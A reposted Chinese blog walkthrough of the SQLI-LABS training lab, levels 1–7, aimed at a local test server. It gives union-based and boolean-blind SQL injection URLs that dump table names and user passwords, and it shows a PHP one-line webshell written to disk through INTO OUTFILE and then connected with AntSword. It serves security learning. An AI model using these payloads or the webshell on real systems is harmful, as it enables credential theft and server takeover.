ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

记SQLI-LABS注入前20关

2022-01-17 18:30:50  阅读:228  来源: 互联网

标签:127.0 20 Less 0.1 sqli LABS SQLI http id


记SQLI-LABS注入前20关

Sqli-labs项目地址—Github

使用HackBar插件

less-01:

Sqli-labs前20关均为数字型注入

Sqli-labs前四关较为类似以less-01为模板

将网址导入HackBar中:

1.根据提示,输入http://127.0.0.1/sqli/Less-1/?id=1'查看注入:

正常报错,输入--+进行注释:


2.输入http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+查找:

出现用户名和密码。

继续输入 order by 2--+,order by 3--+,当输入 order by 4--+时:

出现报错,说明数据库只有三列


3.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,3--+

来判断三列数据的回显点,用1,2,3来标记:


4.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+在3回显点处输出当前数据库名:


5.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security' limit 1,1--+查看位于security库下的第一个表:

limit 0,1; 其中第一位是从第几个开始,比如0代表从第一个开始,而第二位的1代表的就是显示多少个数据。(security库中)

通过limit x,1可以一个一个查看表名,也可使用函数将数据一起输出:

concat()函数用于将多个字符串连接成一个字符串。

语法及使用特点: concat(str1,str2,…)

group_cincat()函数返回一个字符串结果,该结果由分组中的值连接组合而成。

6.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+查看库中所有的表:


7.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,column_name from information_schema.columns where table_name='users' limit 0,1--+查看user表中的第一个列:

同上运用函数可输出所有的列:


8.输入http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,concat_ws('~',username,password) from security.users limit 1,1--+查看一个账号和密码以“~”隔开

concat_ws()函数指定参数之间的分隔符

使用语法为:concat_ws(separator,str1,str2,…)

结合函数可得到所有账号和密码:


less-02:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-2/?id=1'

出现不同于第一关的报错,根据于第一关对比的报错提示可将注入改为:

http://127.0.0.1/sqli-labs-master/Less-2/?id=1 --+

可通过与第一关相同的方法查看信息:

提示:将特殊字符或名字改为16进制是一种好习惯:

原始十六进制
'security'0x7365637572697479
'users'0x7573657273
'~'0x7e

<span style="background-color:#f8f8f8"><span style="color:#333333">1.http://127.0.0.1/sqli/Less-2/?id=1'      查看是否有注入
2.http://127.0.0.1/sqli/Less-2/?id=1 order by 3--+   查看有多少列
3.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,3--+ 查看哪些数据可以回显
4.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
5.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
6.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
7.http://127.0.0.1/sqli/Less-2/?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users --+查看所有的账号和密码,并且使用~符号进行分割</span></span>

less-03:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-3/?id=1'

根据提示输入改为:

http://127.0.0.1/sqli-labs-master/Less-3/?id=1') --+

可通过与第一关相同的方法查看信息:

<span style="background-color:#f8f8f8"><span style="color:#333333">1. http://127.0.0.1/sqli/Less-3/?id=1'   查看是否有注入
2. http://127.0.0.1/sqli/Less-3/?id=1') order by 3--+ 查看有多少列
3. http://127.0.0.1/sqli/Less-1/?id=1') union select 1,2,3--+ 查看哪些数据可以回显
3. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(schema_name) from information_schema.schemata --+ 查看所有数据库
6. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
7. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
8. http://127.0.0.1/sqli/Less-3/?id=-1') union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。</span></span>

less-04:

同前面输入http://127.0.0.1/sqli-labs-master/Less-4/?id=1‘

继续测试,输入:http://127.0.0.1/sqli-labs-master/Less-4/?id=1"

根据提示输入改为:

http://127.0.0.1/sqli-labs-master/Less-4/?id=1“)--+

接下来可通过与第一关相同的方法查看信息:

<span style="background-color:#f8f8f8"><span style="color:#333333">1. http://127.0.0.1/sqli/Less-4/?id=1"查看是否有注入
2. http://127.0.0.1/sqli/Less-4/?id=1”) order by 3--+ 查看有多少列
3. http://127.0.0.1/sqli/Less-4/?id=-1“) union select 1,2, group_concat(schema_name) from information_schema.schemata --+查看所有数据库
6. http://127.0.0.1/sqli/Less-4/?id=-1”) union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+查看所有的表
7. http://127.0.0.1/sqli/Less-4/?id=-1“) union select 1,2, group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+查看所有的列信息
8. http://127.0.0.1/sqli/Less-4/?id=-1”) union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users --+直接可以得到所有的账号和密码,并且使用~符号进行分割。</span></span>

总结前四关可看出sqli-labs常见注入形式有:

  1. 1

  2. '1'

  3. "1"

  4. ('1')

  5. ("1")

less-05:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1'

提示:想显示图中多出的语句可在源码$sql处中加入如图代码:

根据提示可输入:http://127.0.0.1/sqli-labs-master/Less-5/?id=1‘--+

通过不同测试可以知道less-05只返回对错无回显点:


补充函数:

left()函数: left(database(),1)='s'

left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0。

select left(database(),1)='s'; 前1位是否是s

regexp函数: select user() regexp 'r'

user()的结果是root,regexp为匹配root的正则表达式

select database() regexp 's'; 匹配第一个字符是否是 s

substr(a,b,c) select substr()

substr(a,b,c)从位置b开始,截取a字符串c位长度

select substr((select database()),1,1)='s'; 匹配第一个字符是否是 s

ascii()

将某个字符串转化为ascii值

此关属于bool盲注,需要一个一个试,有两种方法:

(1)使用burpsuite进行抓包爆破:

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and left((select database()),1)='s'--+

burpsuite抓包,以“s“作为报破点:

设置有效载荷选项,线程数设为30:

爆破后通过不同的返回长度可知道正确字符:

将1变为2,其他不变同样流程进行爆破。

接下来同上关顺序改变语句依次进行查表查列等操作。

(2).使用ascii().substr()函数利用二分法猜测字母:

输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+

1.即判断当前库的第一个字母的ASCII码是否大于100:

结果无返回值,可知当前库的第一个字母的ASCII码并不大于100。

2.利用二分法,改变数值,即输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >50--+

出现回显,说明当前库的第一个字母的ASCII码大于50。

3.同理继续输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >75--+

有回显。

4.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >87--+

有回显。

5.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >93--+

有回显。

6.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >96--+

有回显。

7.输入http://127.0.0.1/sqli-labs-master/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))= 97--+

有回显,说明当前库的第一个字母的ASCII码等于97,即为“s“。

8.同理,运用函数可查出其他表,列等:

http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1--+ 再次通过二分法可猜解得到security下的所有表。 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 --+ 通过二分法可猜解users内的字段。 http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))>1--+ 继续猜解即可得到字段内的值。


less-06:

同第一关输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1'

可知输入http://127.0.0.1/sqli-labs-master/Less-6/?id=1"--+进行注入。

注:未改动源码不显示处理语句只显示"You are in....."时可用注入常见格式如: ' " ') ") 进行猜测。

其他和less-05相同,可用同样方法进行。


less-07:

使用中国菜刀或中国蚁剑;

这里用中国蚁剑:

输入http://127.0.0.1/sqli-labs-master/Less-7/?id=1'

可知输入http://127.0.0.1/sqli/Less-7/?id=1')) --+

输入http://127.0.0.1/sqli/Less-7/?id=-1')) union select 1,2,'<?php @eval($_POST[“shell”]);?>' into outfile '本关于电脑中的地址' --+

进行一句话木马的上传。

可见文件夹中已创建了对应php文件:

用中国蚁剑进行连接:

即可查看信息:


标签:127.0,20,Less,0.1,sqli,LABS,SQLI,http,id
来源: https://blog.csdn.net/rui__rui__/article/details/122545548

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有